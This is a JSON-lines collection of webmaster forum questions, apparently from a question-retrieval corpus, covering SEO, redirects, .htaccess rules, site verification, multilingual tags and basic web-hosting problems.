{"id":"60335","title":"How to verify app engine backend site using webmasters?","text":"I have my backend servlet like following : public class BackendServlet extends HttpServlet { private static final long serialVersionUID = 1L; private static final Logger LOG = Logger.getLogger(BackendServlet.class.getName()); @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { LOG.info(\"backend\"); } } And then I put the google verification html file into my project root folder. And I also use google OAuth2 for the frontend. Then I verify it using webmaster tools, but it's said : Reverification failed. Your verification file redirects to a disallowed location And so I tried the alternative method, by using the meta-tag. I included the meta-tag that given on the webmaster page into the BackendServlet class as following : protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { resp.setContentType(\"text\/html\"); resp.setCharacterEncoding(\"UTF-8\"); PrintWriter writer = resp.getWriter(); writer.println(\"<!doctype html><html><head>\"); writer.println(\"<meta name=\\\"google-site-verification\\\" content=\\\"verification_string_here\\\" \/>\"); writer.println(\"<title>backend<\/title>\"); writer.println(\"<\/head><body><\/body><\/html>\"); } Then again I verify it, but it still gave me an error like following : Verification failed. We couldn't find the verification meta tag. Would anyone be so kindly to tell me what I did wrong and what I should do to get my backend site got verified by webmaster tools? Thanks."}
{"id":"28957","title":"Add multiple payment options in Google Product feed XML","text":"In my Google Product feed I have both Visa and MasterCard listed as accepted payment methods. Is it possible, and is there any benefit, in adding the remainder of my payment options; American Express, Delta, Maestro etc. <g:payment_accepted>Visa<\/g:payment_accepted> <g:payment_accepted>MasterCard<\/g:payment_accepted> I can't find anything in the specification that mentions the payment methods. My feed applies to the UK, US and EU."}
{"id":"28070","title":"How to handle canonical url changes like Stack Overflow","text":"Stack Overflow sites all have pretty urls which include the question title. In the HTML it also have canonical url for that page. I just found out that when I change the question title, the url is changed immediately. The canonical url is also updated. Does it mean that as long as the page with the old canonical url redirects to the new canonical url, then search engines will update their records of the canonical url as well? Is there anything else that one can actively do to make the url change even more smoother?"}
{"id":"34309","title":"Can I use a list of blog ping services for a portal?","text":"I'm setting up a list of ping services for a portal. It has a blog, forum, articles, restaurants, hotels and many other information, so it is far beyond a blog. I have a list of standard ping services for WP blogs - but I do not know if this should be literally only for blogs. My questions are: 1. Is it recommended to ping blog services from a portal, such as http:\/\/blogsearch.google.com\/ping\/RPC2? 2. Are there any penalties for sites that are not recognized as blogs? 3. Is there some list of ping services for regular websites and not only blogs? Thanks!"}
{"id":"55183","title":"How to know if my web site is blocked in China (Great Firewall of China)","text":"I have a new site (with new domain), when I access it from China, it is being blocked. As the domain is a new domain, I am wondering if it is due to the site domain or in fact the IP we used is being banned before. How to verify and fix?"}
{"id":"68851","title":"While loop causing website to vanish","text":"http:\/\/pastebin.com\/V0tUrzwV Why doesn't this code work? If I do it maunally without database. You know, just thinking you're PHP and creating the code in HTML and CSS, it works. But as soon as you mix PHP to it, everything goes blank, entire website."}
{"id":"45163","title":"How to prevent a specific website from linking to our domain?","text":"We have a landing page which is used only for running an ad campaign. There is a website that has found this link somehow and is linking to it. I've been told by marketing they don't want that website linking to the landing page. How can I prevent a specific website from linking to our domain? I don't want to block all websites from linking to it, just this specific one. Is there solution something to do with .htaccess? If so, please provide an example of doing this or a link to example because I've been unable to find one."}
{"id":"35455","title":"SEO non-English domain name advice","text":"I'm starting a website, that is meant for a non-English region, using an alphabet that is a bit different than that of English. Current plan is as follows. The website name, and the domain name, will be in the local language (not English); however, domain name will be spelled in the English alphabet, while the website's title will be the same word(s), but spelled properly with accents. E.g.: 'www.litterat.fr' and 'Littérat'. Does the difference between domain name and website name character use influence the site's SEO? Is it better, SEO-wise, to choose a name that can be spelled the same way in the English alphabet? From my experience, when searching online, invariably, the English alphabet is used, no matter the language, so people will still be searching 'litterat' (without accents and such). ## Edit: # To sum up: Things have been said about IDN (Internationalized domain name). To make it simple, they are second-level domain names that contain language specific characters (LSP)(e.g. www.café.fr). Here you can check what top-level domains support what LSPs. Check initall's answer for more info on using LSPs in paths and queries. To answer my question about how and if search engines relate keywords spelled with and without language specific characters: Google _can_ potentially tell that `series` and `séries` is the same keyword. **However** , (most relevant for words that are spelled differently across languages _and_ have different meanings, like `séries`), for Google to make the connection (or lack thereof) between `e` and `é`, it has to deduce two things: 1. Language that you are searching in. Language of your query. You can specify it manually through Advanced search or it guesses it, sometimes. I presume it can guess it wrong too. The more keywords specific to this language you use the higher Google's chance to guess the language. 2. Language of the crawled document, against which the ASCII version of the word will be compared (in this example – `series`). Again, check initall's answer for how to help Google in understanding what language your document is in. Once it has that it can tell whether or not these two spellings should be treated as the same keyword. Google has to understand that even though you're not using french (in this example) specific characters, you're searching in French. The reason why I used the french word `séries` in this example, is that it demonstrates this very well. You have it in French and you have it in English without the accent. So if your search query is ambiguous like our `series`, unless Google has something more to go on, it will presume that there's no correlation between your search and `séries` in French documents. If you augment your query to `series romantiques` (try it), Google will understand that you're searching in French and among your results you'll see `séries` as well. But this does not always work, you should test it out with your keywords first. For example, if you search `series francaises`, it will associate `francaises` with `françaises`, but it will _not_ associate `series` with `séries`. It depends on the words. Note: worth stressing that this problem is very relevant to words that, written in plain ASCII, might have some other meanings in other languages, it is less relevant to words that can be, by a distinct margin, just some one language. Tip: I've noticed that sometimes even if my non-accented search query doesn't get associated with the properly spelled word in a document (especially if it's the title or an important keyword in the doc), it still comes up. I followed the link, did a Ctrl-F search for my non-accented search query and found nothing, then checked the meta-tags in the source and you had the page's title in both accented and non-accented forms. So if you have meta-tags that can be spelled with language specific characters and without, put in both. Footnote: I hope this helps. If you have anything to add or correct, go ahead."}
{"id":"5392","title":"ecommerce item deleted by user, 301 redirect to HOME PAGE or 404 not found?","text":"I know this question is someway similar to this one where they recommend using 404, but after reading this other one where they suggest to use 301 when changing site URLs (in the specific case was due to redesign\/re factoring) I get a bit of confused and I hope someone could clarify for this specific example: 1. Let's say I have an eCommerce site, 2. let's also say the final user inserted some interesting items in the site and the eCommerce webapp created the item pages at the URLs: `http:\/\/...?id=20`, `http:\/\/...?id=30` etc. 3. Now let's say some of these interesting items got many external links toward them from many other sites because some people found those items very interesting and linked to them. 4. After some years the final user deletes those items, so obviously the pages and URLs `http:\/\/...?id=20`, `http:\/\/...?id=30`, etc. **now do not exist anymore, but still many pages on the web are linking toward them**. **What should the eCommerce site do now, just show a 404 page for those items?** But, I'm confused, **wouldn't this lose all the Google PR passed by the external links to the items pages?** So isn't it better to use 301 redirect to HOME PAGE that at least passes the PR to the HOME PAGE? * * * **EDIT:** Well, according to answers **the best thing to do so far is to do a 404\/410**. In order to make this question more complete, I would like to talk about a special case, just to make sure I understood. properly. Let's say the user creates those items again (the ones he previously deleted at point 4), maybe he changes a bit their names and description, but they are basically the same items. The webapp has no way to know these new added items were the old items so it obviously create them as new items with new URLs `http:\/\/...?id=100`, `http:\/\/...?id=101`, **does it makes sense at this point to redirect 301 the old urls to the new ones?** * * * **ANOTHER EDIT (It would be VERY IMPORTANT TO UNDERSTAND):** Well according to the clever answers received so far it seems for the special case, explained in my last EDIT, I could use 301, since it's something of not deceptive cause basically the new pages is a replacement for the old page in term of contents. This is basically done to keep the PR passed from external link and also for better user experience. But beside the user experience, that is debatable (*1), in order to preserve PR from external broken links why not just always use 301, In my understanding Google dislikes duplicated contents, **but are we sure that 301 redirect to HOME PAGE is seen as duplicated contents for Google?!** **Google itselfsuggests to redirect 301 index.html to document root so if they consider 301 as duplicated contents wouldn't that be considered duplicated contents too? Why do they suggest it?** Let me provoke you: _“why not just add a 301 to HOME PAGE for every not found page?”_ (*1) as a user, when I follow a broken URL from some external link to some website's page I would stick more on this website if I get redirected to HOME PAGE rather than seeing a 404 page where I would think the website does not even exist anymore and maybe I don't even try to go to HOME PAGE of the website."}
{"id":"56913","title":"Best practice to update website links after web-site re-design and structure update","text":"I have just finished my web-site's re-design, so now all products have different, more user friendly URLs. Old link: `mysite.com\/show_product.php?uid=cool-product` New link: `mysite.com\/products\/category\/cool-product` The problem is that old links appear in Google index and\/or referred from another web-sites. Now anyone who follow them gets `404`, including those who comes from Google. What is the best practice in such situation? * implement redirects to make sure old links work? What if I change the structure again later? Will I end up supporting redirects of redirects of redirects? * remove old links from Google index (will I lose my position in Google after that?) * Something else? Thank you."}
{"id":"50294","title":"Redirecting non existing post to homepage; is that good for SEO?","text":"I am checking my website out on `Google Webmasters` and I am seeing an astonishing 5000 links that could not be found by Google's Crawlers. That's normal, because my website is built in a manner that users can drop their own things, which also lead to `404 pages`. Not a problem at all if I can find a workaround of course... So my question is: what if I made a function or a mod rewrite that will check if the link exists (a post for example) and if not, it will redirect it to the home page. Is this good for `SEO`? Will Google see this as 'link found'? How do I have to look at this problem?"}
{"id":"22627","title":"Removed pages. set them 404 or 301 to home page?","text":"> **Possible Duplicate:** > SEO: ecommerce item deleted by user, 301 redirect to HOME PAGE or 404 not > found? I decided to delete about 2000 pages because of panda update. Should I just set them 404 or redirect them to home page with 301 ?"}
{"id":"51624","title":"How to add a certain parameter (ad_id) to URL?","text":"On my WordPress site, there is a page `http:\/\/www.example.com\/doc\/list\/` that dynamically shows all DB entries (76,000). Google does not index the different entries. The URLs looks like this `http:\/\/www.example.com\/doc\/list\/44444\/name\/`. How can I tell Google that the `\/44444\/` is the parameter that makes the content unique, even if the name is the same? I read the Google Webmaster Tools help for URL Parameters, but don't understand how that applies to my problem. So far I am not able to produce a sitemap that contains all these URLs with available plugins."}
{"id":"19285","title":"How can I check the position of newly indexed pages within Google Search","text":"**How can I check the position of newly indexed pages within Google Search** Exactly what the title reads what is the best way of finding out the position and page number of newly indexed pages within Google Search."}
{"id":"19286","title":"Web traffic analysis of third-party sites","text":"Is there any way we can know how many people landed on an article page of a third-party site directly or by searching from Google?"}
{"id":"64831","title":"What bots are really worth letting onto a site?","text":"Having written a number of bots, and seen the massive amounts of random bots that happen to crawl a site, I am wondering as a webmaster, what bots are really worth letting onto a site? My first thought is that allowing bots onto the site can potentially bring real traffic to it. Is there any reason to allow bots that are not known to be sending real traffic onto a site, and how do you spot these \"good\" bots?"}
{"id":"51628","title":"How long does it take for Google to remove page from index? Or, why aren't these pages excluded?","text":"A set of pages are marked as `noindex` and `nofollow`, both in `robots.txt` and with `X-Robots-Tag: noindex, nofollow` When checking with Google Webmaster Tools, the pages are reported as _\"Denied by robots.txt\"_ , which is nice. Also, as mentioned in this answer, disallowed pages may still be indexed even if not technically crawled, cause that's how Google rolls. However, after adding the `Robots-Tag` two weeks ago, the pages still appears in Google search results. For example, this test page http:\/\/www.english-attack.com\/profile\/scott-s- sober is found when searching for its `h1` title _\"Scott S. Sober\"_ https:\/\/www.google.com\/search?q=%22Scott+S.+Sober%22 Why is this?"}
{"id":"61530","title":"How do you add scroll bars when window's width is reduced","text":"I have completed a login webpage, which gets distorted when the browser is narrow. I added `min-width` property to my body tag, but this does not help. 1. How can I keep all the contents fixed when the webpage is narrow? I don't mind having scroll bar. 2. What is causing this problem? Is it related to different browsers? 3. Can using some form building application help overcome this issue."}
{"id":"61534","title":"Should I include the current language code in <link rel=\"alternate\" hreflang=\"\" \/>?","text":"I have a multilingual site and I have the following `<link rel=\"alternate\" >` in the head section. <link href=\"http:\/\/www.example.com\/en\" rel=\"canonical\" \/> <link rel=\"alternate\" hreflang=\"en\" href=\"http:\/\/www.example.com\/en\" \/> <link rel=\"alternate\" hreflang=\"ja\" href=\"http:\/\/www.example.com\/ja\" \/> <link rel=\"alternate\" hreflang=\"zh-CN\" href=\"http:\/\/www.example.com\/zh-CN\" \/> <link rel=\"alternate\" hreflang=\"ko\" href=\"http:\/\/www.example.com\/ko\" \/> <link rel=\"alternate\" href=\"http:\/\/www.example.com\" hreflang=\"x-default\" \/> I have read several articles including Google guidelines, but I'm still confusing to include the current language code for `rel=\"alternate\"`. In the example above, the current languague is `en`. Should I include `<link rel=\"alternate\" hreflang=\"en\" href=\"http:\/\/www.example.com\/en\" \/>`?"}
{"id":"65678","title":"Only IPv6 errors in apache error \"file does not exist\" (while the file exist in IPv4)","text":"**Situation:** VPS with Apache, multiple websites. Document root is `\/var\/www\/html` but nothing can be found there because the files of the websites are found in `\/domains\/mywebsite.com\/public_html\/` **Problem:** I'm getting \"file does not exist\" errors in the Apache error log and they are always related to clients with an IPv6 address. No errors are shown with an IPv4 (except for the regular hack's on pages that don't exist on my VPS). The files that can't be found are most of the times existing webpages on one of my websites. **Analysis:** I have visited my own webpages with a web browser that the errors are referring to but no problems occur and no extra error log in my Apache error log while I'm visiting those pages (and I use a IPv4 address). Example 1: [client ---IPv6 address---] file does not exist: `\/var\/www\/html\/specificwebpage, referrer: https:\/\/www.google.be\/` The \"specific webpage\" is one of my webpages of one of my sites (and is rewritten by .htaccess to specificwebpage.php). Example 2: [client ---IPv6 address---] file does not exist: `\/var\/www\/html\/css, referrer: http:\/\/mywebsite.com\/subdirectory\/` When I visit this webpage (its rewritten by `.htaccess` to `subdirectory\/index.php`) then there are no error seen in my browser and no extra error log line in the Apache log."}
{"id":"23695","title":"Font rendering issue","text":"I realized there are problems about how fonts are rendered in different browsers\/OS for a site I'm working on. I'm using Cantarell from Google Web Fonts, size 16px, it that matters. Here is some screenshot. Firefox Ubuntu, good:  Firefox WinXP, good:  Chrome WinXP, bad:  IE WinXP, bad:  I can assure that in a page full of text the problem manifests greatly. Why this happen? Any trick to fix the issue? **-- EDIT:** I'd like to clarify what the problem is: in Chrome and IE, if you look closely at the `€ 500 stats` part, you will see spurious pixels making the font really ugly."}
{"id":"65672","title":"abusive registration?","text":"I once owned a gTLD domain that was none profit, there were a fair few links around the internet that linked to my site from other respected websites. After my work was complete on this domain, I unfortunately let the domain fall to auction as I did not auto-renew. Now this domain has pornography on it by the new owner and I am very worried as children may click on the links (containing my company name)found around the internet. Please can someone advise me on the best route to sort this out? could this be considered an abusive registration? Thank you very much for your help."}
{"id":"27152","title":"Error in Custom Domain Name for my Tumblr account","text":"I have a top level domain (harib.co.in) which already hosts a WordPress powered blog. I need to associate it with my tumblr account (harihb.tumblr.com). In my blog settings screen, I selected 'Use custom domain name' and entered my domain name there. When I clicked the button \"Test your domain\", it says This subdomain’s CNAME is not pointing to Tumblr. You need to change your subdomain’s CNAME to: domains.tumblr.com I logged in to my registrar's control panel and deleted the existing A records and added a CNAME record. It finally looks like this harib.co.in domains.tumblr.com After waiting for about a day, I still couldn't get the redirection done.  Please let me know what is the mistake that I'm doing? EDIT: Now, I am getting page not found error whenever I try to access harib.co.in which means the CNAME has been validated, right? However, the settings in Tumblr page still gives This subdomain’s CNAME is not pointing to Tumblr. You need to change your subdomain’s CNAME to: domains.tumblr.com"}
{"id":"22440","title":"Difference between two kinds of Bing URL Referers","text":"Most of the referral URLS that I get from Bing have the following syntax: `http:\/\/www.bing.com\/search?q=keywords+keywords&[some other variables]` However I just noticed that maybe 10-20% of them are coming in like this: `http:\/\/www.bing.com\/url?source=search&[some other variables]&url=http%3A%2F%2Fwww.example.com\/user-landing-page-on-my- site&yrktarget=_top&q=keywords+keywords&[some other variables]` The first syntax gives me the keywords the user typed in, but the second actually gives me the keywords the user typed in _and_ their landing page on my site. I was originally unaware of this second kind altogether because I have a customized referral report that filters out URLs containing my domain. But now that I noticed them I want to know why they occur to see if I can get more to occur this way because the second syntax contains more valuable information. If I go to one of the first URLs, it gives me a typical Bing query page. The second URLs seem to just redirect me to the Bing home page. I'm not sure if it has to do with the kind of search being performed (I also get a few `http:\/\/www.bing.com\/shopping\/search?q=` referers) or some other metric. **Does anyone know what causes some referral URLs from Bing to have the _\/search?q_ syntax and others to have the _\/url?source_ syntax?** P.S. I have verified that I am getting both kinds of URLs from non-advertising clicks. P.P.S. I am not talking about data in Google Analytics or similar software but the raw $_SERVER['HTTP_REFERER'] value coming from the client's original request."}
{"id":"60484","title":"Preventing download of files while allowing them to be viewed","text":"We have a site with a login area for customers to download documents that the client uploads for them. Got some 'sensitive' documents though that the client is forbidden from making available for download, but are allowed to display in the login area, provided the file can't be downloaded by the user. Obviously as soon as the information is on screen there are ways of capturing it, but I think as long as there's no file > save (or right click > save as) kind of option possible then it's OK. Better still if the information couldn't even be copy \/ pasted. Any ideas how something like that could be achieved?"}
{"id":"47920","title":"How to track HTTP and HTTPS from the same Google Analytics account?","text":"I have a website with tutorials and a discuss forum. The website load on http protocol and the forum load with https for security reasons. For both of them I run the default Google Analytics code, but I saw that the forum it's mot tracked. Besides that, in Analytics, landing pages are noted very weird: \/forum\/http:\/\/my-address.com or \/article_id\/http:\/\/my-address.com or category\/article_id\/http:\/\/my-address.com The tutorial site is like `http:\/\/example.com` and the forum is like `https:\/\/example.com\/forum` Can I track both of them with only one Analytics account?"}
{"id":"25428","title":"How do I block US users from my website without interfering with SEO?","text":"My website uses Apache 2.2.14 (which forwards all requests to Tomcat underneath). I need to block all US users from accessing the website (and potentially users from other countries). But importantly I do not want this to interfere with any any Google\/Bing\/Yahoo indexing and page ranking (the bots must be allowed access). What is the best way to accomplish this?"}
{"id":"25429","title":"How to keep a local copy of all images and still serve images from Amazon S3?","text":"I'm using amazon s3 to host assets for my site (mainly images). At the moment when a user uploads an image via a form, the php script uploads the image directly to my bucket on s3. I would like to keep a local copy of every image that's uploaded so that if amazon decides to drop me as a customer for whatever reason, I will at least have all my images to backup from and not have my site be forever lost. Right now I am doing manual backups by downloading all the images that were uploaded at the end of each day via the Control Panel on the AWS site. I'm looking for a better automated way to achieve this. I'm sure there are others that also keep a local copy of assets and use amazon to host just for the CDN benefits. What method\/script or tool do you guys use to achieve this?"}
{"id":"50426","title":"Should I use a subdomain or subdirectory for a Q & A forum section of a site?","text":"I run a coupons and deals website in a niche market, and I'm in the process of adding a questions and answers section to it. Based on my research, I found popular websites that use either subdomains or subdirectories for the Q & A forum section of their site. What I want to know is, which is a better option, and if there are any advantages of using one over the other?"}
{"id":"25422","title":"Should I ping to Google sitemap-index.xml or only the sitemap file that has been modified?","text":"I have a sitemap-index.xml with 7 files. After updating one of the 7 with new content should I ping Google with the index file or with the updated file? In my index I also use lastmod so Google can see when downloading it which item is newest."}
{"id":"25424","title":"How can I measure website page load times from different countries?","text":"Recently, I migrated one of my personal projects into cloud and hosted the app on UK based servers. I reside in Turkey and I would like to see how long it takes for my pages to load for UK based users and those from other countries. I tried to ping the web site but I am getting time outs. I think it is because of the load balancer. Are there any services around that will allow me to monitor my website's page load times around the world?"}
{"id":"61579","title":"Is there a way to hide from Alexa?","text":"My competitor is using Alexa to see what I am doing. I need to get rid of my sites from Alexa. How to do so? How to kick out all Alexa toolbar bot requests or mislead them to other places?"}
{"id":"64837","title":"Google Webmaster Tools shows invalid data","text":"Webmaster Tools shows 1 URL error (not found page). The report says that 5 pages are linking to a page (let's call it x) that does not exist (and because it doesn't exists it returns a soft 404). HOWEVER, I look in those 5 pages (in the source code) and none is linking to the x page. It is like Google sees an old page that was indeed pointing to x. What is the problem? How do I know if Google cached an old version for those 5 pages?"}
{"id":"69066","title":"can source code be downloaded from server?","text":"I am developing an asp.net website and decided not to have a database. I need to store 5 sensitive data so I decided to create 5 private variables on my code. They are well protected and readonly but I am concerned if sourcecode can be accesed or downloaded from the webserver, I mean hacked. The hosting is provided by go daddy with ssl protection. Thank you."}
{"id":"68628","title":"google result only shows canceled domain","text":"I created a blog with blogger. Then I took .tk domain for my blog. However later I bought .com domain. Then I canceled my .tk domain. now google search shows .tk results. But ger error once click that results. Can't find .com doman results. what should I do. Thanks in advance."}
{"id":"52249","title":"How can I create email accounts on my web server?","text":"I'm wondering how to create an `info@domain.com` or any other email account (e.g., `john@domain.com`, `ann@domain.com`). What should I do? I have my domains in GoDaddy, but I would like to not pay for creating emails accounts. I have my sites on a server with Ubuntu + Apache as the web server. I don't have cPanel in my server."}
{"id":"39907","title":"SEO cost of garbage text","text":"For SEO, \"Content is King\". I wonder what would be the SEO cost of garbage text inserted between descriptive content. The case I have in mind concerns ascii art. Such page would contain consecutive blocks containing a description of the ascii art, followed by the ascii art itself. Example: <div class='asciiart'> <div class='description'>here is an hideous kitty<\/div> <div class='ascii'><pre> (%(\/\/ (6%( \/%7%CCGG66%%C (%7%%G#QO%C%( \/%7%%%OOGC777%\/ 77(%G6C6GQ%(%\/ C67%%776%7%%% (O%OGQQ#GCC (77%G6CGQG%( 7%%%%%GQ%%C%\/ (%77%%GQ6%%%%( \/#O((%GQGGG%%7( O%7%%%OOGC%%%%( (%%77%CGQ@Q%%%(%%\/ \/C%766OQQ#OQG6C777%( 7%C7%%6GGQGQO6%%%%7% (7%77%OQ@Q#@#QC%((%%%\/ (7%7%%GG(%OQ#Q#QGC%77\/ 7%77%6OOGQ@#%O6%(7%%\/ \/77%%6GQ@#QCOQGCO%%( \/(%C6G##@@QOO%%%\/ \/\/\/(O@#@(\/(\/ \/#@6\/ (GG#\/ \/@@O \/@@6 Q@O ( \/O@O @@6 \/(QQ@@ (@@6@#<\/pre> <\/div> <\/div> or maybe worse, instead of `<pre>` element, the ascii art can be composed of consecutive `<span>` in `<div>` in order to set different colors to each part of the art. In both case, the page is full of textual data that are non-sense for a search engine. If this implies a negative impact on SEO, is there a way to tell the search engine to ignore these garbage parts?"}
{"id":"2424","title":"Where can I find graphic artists who can draw clean Windows 7\/Mac style icons?","text":"Not sure if this should be a community wiki, but I'd like to find some graphic artists who can create beautiful Windows 7 icons (for use on the web)... somewhat similar in style to the image below. Does anyone have suggestions on who has a similar style? "}
{"id":"32104","title":"Configuring my domains for best search engine results","text":"Couldn't think of a more decent question title, sorry. Basically, I have 3 domain names: mydomain.com mydomain.net mydomain.co.uk The website is actually hosted at the .co.uk address, using nameserver addresses. What is the best way to deal with the two top-level domains. Do I add the same nameserver addresses to them, so all point at the same place? Or do I do a permanent redirect through my domains control panel? Or do I add a redirect in my windows IIS7 web.config file. What I don't want, in Google listings, is all three domains listed. I just want .com or .net listed, but when visited, it goes to .co.uk site. Any help or suggestions gratefully received."}
{"id":"16340","title":"GPL 3 and \"webapps\"","text":"I am working on a \"webapp\" (no content by me, all user driven) and want to license it with the GPL 3. I do plan on having a tarball with the php, html, css, javascript, etc as well as an installer to set up a mysql database for it and some other small stuff so someone else can host a personalized one if they want (like phpbb). The GPL requires that the user be allowed to modify and run the modified software. I obviously cannot allow that on my server, but am not sure if that stopping the user like that violates the terms of the GPL. Also, I do plan on an easy, readable (probably csv) export\/import option so the user can move their data around if they want. Is that enough to placate the GPL?"}
{"id":"16343","title":"rel=\"nofollow\" SEO effect","text":"Google Webmasters Tools shows `rel=\"nofollow\"` links as a backlink. I believe that `rel=\"nofollow\"` helps SEO and PageRank but according to many people it is not. What is your idea about this? Did you see that `rel=\"nofollow\"` links also helps your rank and SEO?"}
{"id":"7844","title":"Family History Website","text":"I want to develop a website that has family history information. Something like Ancestry.com but much simpler. I want to display photos, family tree, have logins and allow members to upload family photos,documents,stories and comments and have tags for the docs and photos and maybe a message board and blog. Also, this is not for the general public but just my extended family. I'd like each person to have their own page with a bio, pics and information. Is there anything that already does something like this? I don't want to waste time writing this if it already exists. thank you I'm familiar with asp.net and php."}
{"id":"25641","title":"htaccess 301 redirect subdirectory one level deeper - why is this not working?","text":"it is probably a stupid question, but I have real troubles figuring out, how to redirect \/products to \/products\/item It is a simple redirect, no regex needed. The toplevel site \/products should just always redirect to \/products\/item I tried: <IfModule mod_rewrite.c> RedirectMatch 301 \/products(.*) \/products\/item\/$1 <\/IfModule> I receive the error, that the webserver is redirecting in an infinite loop. That might be because of the rest of the htaccess file. Which looks like that: # Custom Rules <IfModule mod_rewrite.c> RedirectMatch 301 \/products(.*) \/products\/item\/$1 <\/IfModule> # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase \/ RewriteRule ^index\\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . \/index.php [L] <\/IfModule> # END WordPress But the strangest thing: When I load the page, I get the error. When I then hit reload, it works??? Thanks for your help! ole"}
{"id":"7841","title":"In Joomla how to change the module mod_news_show_gk3?","text":"How can I change the mod_news_show_gk3 module to: * Change the size of the post image. It uses the first image of the post, but it seems to not be resizing the image. * Add an extra field: It is important to show in the main page what is the source of the post. I would then like to add an extra field during post editing time, namely \"source\", and then I would like to show the source below the title and before the text. * Change the title size. Title is oversized and I couldn't find any way to decrease its size. * Add a border around the section. Here is the address: `http:\/\/central.antinovaordemmundial.com\/`."}
{"id":"61823","title":".htaccess and 301 redirects .co.uk to .com","text":"I want to redirect a `.co.uk` to `.com`: * `example.co.uk\/any-file-or-folder` and * `example.com\/any-file-or-folder` to * `www.example.com\/any-file-or-folder`. I've refered to this question\/answer: htaccess and 301 redirects - multiple domains. Which lead me to write: RewriteEngine On RewriteBase \/ RewriteCond %{HTTP_HOST} ^example\\.co\\.uk$ [OR] RewriteCond %{HTTP_HOST} ^example\\.com$ RewriteRule ^(.*)$ http:\/\/www.example.com\/$1 [R=301,L] Which redirects `example.co.uk` and `example.com` to `www.example.com` just fine but `example.co.uk\/test\/` does not go to `www.example.com\/test\/`. Any pointers on where I am going wrong?"}
{"id":"61828","title":"How can I redirect URLs in Google App Engine to new ones?","text":"I need to redirect a couple of my old URLs to new ones. I use Google App Engine for deploying my website online. Is _app.yaml_ the only way I can redirect the URLs? I am very new to Python and wish there was another way in which I could redirect my URLs For example: I have changed a couple of my URLs from `www.xxx.com\/abc.html` to `www.xxx.com\/folder\/abc.html`. Since these urls are already indexed by Google and appear in a couple of forums, I want users to be redirected to the new pages when they click the old URLs."}
{"id":"12108","title":"Mail group managers similar to Plesk","text":"I'm relocating my client's pages to a new server. Their old system was running Plesk and had some email groups and a few mail forwards defined. The new server has no Plesk and I'd really rather not install it just for the email groups either, so I'm looking for a new alternative for creating and managing the lists. Their main site is going to run on Drupal 6.x, so a module for that would be the preferred choice. I tried searching for one myself, but to no avail. Anything else that gets the job done will do as well, as long as the client who is not very tech-savvy can modify and add lists herself. The server is a Debian 5, root access is available. Any suggestions are highly appreciated."}
{"id":"56076","title":"Bot crawling my site, blocked it, now it's back and can't stop it","text":"I had a bot of some sort crawling my site like crazy for the last day or so. It says in Google Analytics that it's from San Jose in the US. The IP addresses that appeared in the access logs were 38.99.82.224, 38.99.82.197, 38.99.82.229. I blocked each of those and then it stopped for a couple of hours. Now it's back and in the access logs, it says that the domain accessing the site is my own, i.e. `www.example.ie` How can I stop this? I blocked the whole range of 38.99.82 by placing the following in a htaccess file. # Block Site Crawling our website # Order Deny,Allow Deny from 38.99.82.224, 38.99.82.197, 38.99.82.229, 38.99.82.0-255"}
{"id":"50542","title":"Google crawlers screen size","text":"Imagine a I have two types of images (A and AAA(heavier)) for the same website: depending on the size of the screen it will show one image or other. Now I'm wondering what images (A or AAA) loads the Google crawler when it visits my site. In other words: has the Google crawlers any \"screen size\"? I suppose, in case the it loads the A images, the page-speed puntuation will be better than if it loads the images AAA."}
{"id":"56073","title":"Vertically center h1 in div","text":"I know there are various solutions posted for this issue here, but for the life of me I can't get any of them to work. For a responsive website I'm trying to center an h1 text in a div. Centering horizontally is not an issue, but I'm having problems getting it centered vertically. Probably I'm doing something wrong or misunderstanding the explanations I found here (and in all probability both). So as I'm probably interpreting earlier solutions given the wrong way, could someone please explain what exactly I have to add to the code beneath to get the h1 to center vertically? (As you can see, I've already stripped the code of all my previous attempts to do so myself) My CSS: html, body { height: 100%; margin: 0; } #section1 { min-height: 90%; text-align:center } My HTML: <div class=\"section\" id=\"section1\" style=\"background-image:url('example.jpg');\"> <h1>Lorem ipsum<\/h1> <\/div>"}
{"id":"10169","title":"SEO - why did my google search rank drop?","text":"My nutrition shop websites for tampa and brandon were coming up on page one of google search results and now they have dissappeared. The 2 websites serve different markets although they are close geographically and have the same products, keywords, and layouts. Brandon, FL is considered a suburb of Tampa, FL and could be grouped into the Tampa Bay area. There's also a mirror site nutrition shop setup for orlando. Is the google search ranking drop because: 1) from a flash banner recently added on the front page 2) is the site just being re-indexed on all search engines b\/c of new content? 3) is it seen as duplicate content as there are separate websites for the cities of Tampa and Brandon but with the same content? What can be done to fix this? Thanks!"}
{"id":"134","title":"Should I bother supporting IE6?","text":"IE6 is deprecated and Microsoft is bent on killing it. However, I know that a lot of people still use it. Should I continue to support it anyways?"}
{"id":"31221","title":"Should we still support IE6","text":"> **Possible Duplicate:** > Should I bother supporting IE6? As an independent web developer, should I still be supporting IE6 on my own site\/or client web sites?"}
{"id":"55207","title":"How to get number of posts to appear in extended information section?","text":"I have forums website, and I am looking through Google search engine, and I can see that some (not mine) forums have something like this under the link of the site: > 28 nov 2005 - Number of posts: 4 - Number of authors: 3 (This may not be exactly what this text since I translated it from my native language) How do I get this information to appear? What do I need to add to my forum in order for Google to catch it? I am aware of microdata, I just don't know which one (and how) should I use here."}
{"id":"10161","title":"What is the best way to maintain translations of a user guide website?","text":"I have static HTML files of a Japanese user guide website which I need to translate into English every time they come out with a new version. I've been using html2pot and using pootle to translate, then converting back with po2html. I'm thinking there must be a better way though, I just don't know what."}
{"id":"9619","title":"Good php+mysql system for managing library of books (book catalogue\/database software)","text":"Anyone know a good web based system to manage libraries (of books)? It's like a book catalogue\/database software, but with web interface, because I want people to be able do searches \/ queries in the web system. I prefer systems based on PHP and MySQL, because in general they are easier to install and administer, but others are also welcome."}
{"id":"21706","title":"Routing and relative paths","text":"CodeIgniter and many other PHP frameworks rout URLs, e.g. if default controller is root.php then both URLs will work website.com\/ website.com\/root if controller has a function 'login' then this URL is valid website.com\/root\/login This is very handy, but the HTML template that used to work in first example, doesn't work in the second, e.g. this relative path is no longer valid <link rel='stylesheet' href='stylesheets\/style.css'\/> and instead I have to use <link rel='stylesheet' href='..\/stylesheets\/style.css'\/> Is there a way around it?"}
{"id":"21256","title":"Accepting Online Payments in Canada?","text":"I need a solution for accepting payments online via website. My first choices were Google Checkout, and Amazon Payments. Both of which don't seem to be available in Canada. Are there any alternate options or a way to process payments on site?"}
